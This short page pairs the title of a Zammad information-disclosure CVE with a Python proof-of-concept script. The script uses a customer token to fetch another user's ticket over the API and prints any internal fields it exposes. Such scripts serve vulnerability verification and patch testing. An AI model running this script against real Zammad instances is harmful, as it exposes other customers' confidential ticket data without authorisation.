CVE-2026-34248 Zammad信息泄露漏洞

import requests # This script demonstrates how an attacker might verify the vulnerability by fetching a ticket. # Requires valid credentials for a customer in a shared organization. TARGET_URL = "https://example.zammad.com/api/v1/tickets/{ticket_id}" HEADERS = { "Authorization": "Bearer <VALID_CUSTOMER_TOKEN>", "Content-Type": "application/json" } def check_info_disclosure(ticket_id): """Check if sensitive fields are exposed in the ticket response.""" response = requests.get(TARGET_URL.format(ticket_id=ticket_id), headers=HEADERS) if response.status_code == 200: data = response.json() # Check for fields that should be hidden from customers sensitive_fields = ['priority', 'internal_note', 'custom_internal_field'] found_fields = [field for field in sensitive_fields if field in data] if found_fields: print(f"[+] Vulnerability Confirmed! Exposed fields: {found_fields}") print(f"[+] Ticket Data: {data}") else: print("[-] Sensitive fields not exposed in this ticket.") else: print(f"[!] Request failed with status code: {response.status_code}") if __name__ == "__main__": # Replace with a Ticket ID from another user in the same shared organization check_info_disclosure(123)